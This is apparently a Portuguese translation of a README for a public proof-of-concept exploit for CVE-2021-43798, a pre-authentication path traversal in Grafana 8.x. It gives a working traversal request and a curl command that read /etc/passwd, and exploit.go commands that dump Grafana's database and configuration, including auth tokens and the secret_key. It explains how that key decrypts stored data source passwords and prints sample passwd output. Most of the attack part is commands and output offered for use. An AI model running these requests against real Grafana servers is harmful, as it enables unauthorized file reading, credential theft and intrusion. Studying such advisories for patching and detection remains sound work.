
CVE-2021-43798 - Grafana 8.x Path Traversal (Pré-Autenticação)
Grafana 8.x Path Traversal (Pré-Autenticação)
Todos os créditos vão para j0v e seu tweet https://twitter.com/j0v0x0/status/1466845212626542607
Isso é apenas para fins educacionais. Não sou responsável por suas ações. Use por sua conta e risco.
De boa fé, segurei o lançamento deste PoC até que esta vulnerabilidade fosse pública ou um patch estivesse disponível.
Notei um tweet de j0v afirmando ter encontrado um bug de path traversal no Grafana. Por curiosidade, comecei a olhar o código fonte do Grafana. No tweet, foi mencionado que era um bug pré-autenticação. Existem apenas alguns endpoints públicos de API no Grafana, e apenas um deles recebia um caminho de arquivo do usuário.
O Grafana possui um endpoint público de API, /public/plugins/:pluginId, que permite visualizar os assets de um plugin.
Isso funciona fornecendo um :pluginId válido e depois especificando o caminho do arquivo, como . No
entanto, o Grafana falha ao sanitizar o caminho de arquivo fornecido pelo usuário, levando a path traversal.
img/logo.pngO diretório sendo acessado está em <grafana>/public/app/plugins/panel/<pluginId>. Em uma instalação padrão do Grafana,
o diretório de dados do Grafana é /usr/share/grafana. Então, retrocedendo 8 diretórios, você pode alcançar o diretório
raiz do sistema de arquivos.
Requisição HTTP:
GET - http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
Código Ofensivo: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284
Nota: Isso não funciona no navegador (que automaticamente colapsa o ../ no caminho)
Pode ser testado com curl usando o argumento --path-as-is:
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
Estes são alguns ataques que podem ser realizados usando esta vulnerabilidade
O Grafana, por padrão, usa um banco de dados sqlite3. Este é armazenado em /var/lib/grafana/grafana.db. Você pode usar o
script exploit.go para extrair este banco de dados
Exemplo:
go run exploit.go -target http://localhost:3000 -dump-database -output grafana.db
Você pode então ler este banco de dados para obter usuários, tokens de autenticação e fontes de dados.
O Grafana armazena sua configuração em um arquivo <grafana>/conf/defaults.ini. Existem alguns valores interessantes aqui,
como secret_key, host, user, password se estiver usando mysql em vez de sqlite3.
Exemplo:
go run exploit.go -target http://localhost:3000 -dump-config -output defaults.ini
O Grafana criptografa todas as senhas de fontes de dados usando AES-256-CBC com a secret_key do arquivo de configuração
defaults.ini. Podemos extrair este arquivo de configuração, como mostrado acima, e então descriptografar os valores do
banco de dados.
O Grafana armazena tokens de sessão na tabela auth_tokens. Não consegui assumir uma sessão, mas se você ler
o código fonte, pode descobrir como.
root@localhost:/# go run exploit.go -target http://localhost:3000 -file /etc/passwd
CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth)
Made by Tay (https://github.com/taythebot)
[INFO] Exploiting target http://localhost:3000
[INFO] Successfully exploited target http://localhost:3000
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin
go run exploit.go -target <target> -file <path>
go run exploit.go -target <target> -file <path> -output <file>
Nota: Não funciona com múltiplos alvos
go run exploit.go -list <list> -file <path>
go run exploit.go -target <target> -dump-config
go run exploit.go -target <target> -dump-database
make build